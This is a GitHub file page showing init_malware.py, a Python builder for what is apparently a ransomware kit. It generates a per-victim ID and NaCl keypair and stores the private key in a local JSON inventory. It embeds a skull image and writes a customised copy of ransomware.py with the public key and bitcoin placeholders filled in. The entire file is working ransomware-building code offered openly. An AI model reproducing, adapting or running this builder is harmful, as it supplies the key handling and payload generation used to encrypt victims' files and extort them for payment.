-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathinit_malware.py
More file actions
33 lines (28 loc) · 1.19 KB
/
init_malware.py
File metadata and controls
33 lines (28 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import json
import uuid
import base64
from nacl.encoding import Base64Encoder
from nacl.public import PrivateKey
def run():
uid = uuid.uuid4().hex
print('{}'.format(uid))
private_key = PrivateKey.generate()
with open("skull.gif", "rb") as image_file:
data = base64.b64encode(image_file.read()).decode('utf8')
inventory = {'uid': '{}'.format(uid),
'private_key': '{}'.format(private_key.encode(Base64Encoder).decode('utf8')),
'public_key': '{}'.format(private_key.public_key.encode(Base64Encoder).decode('utf8')),
'image_data': '{}'.format(data)
}
with open('{}.json'.format(uid), 'w') as f_handle:
json.dump(inventory, f_handle)
with open('ransomware.py', 'r') as f_handle:
data = f_handle.read().replace('{}', '{{}}').replace('{btc}', '{{btc}}').replace('{btc_a}', '{{btc_a}}')
with open('{} - ransomware.py'.format(uid), 'w') as f_handle:
f_handle.write(data.format(
PUBLIC_KEY=inventory['public_key'],
UID=inventory['uid'],
IMAGE_DATA=inventory['image_data']
))
if __name__ == '__main__':
run()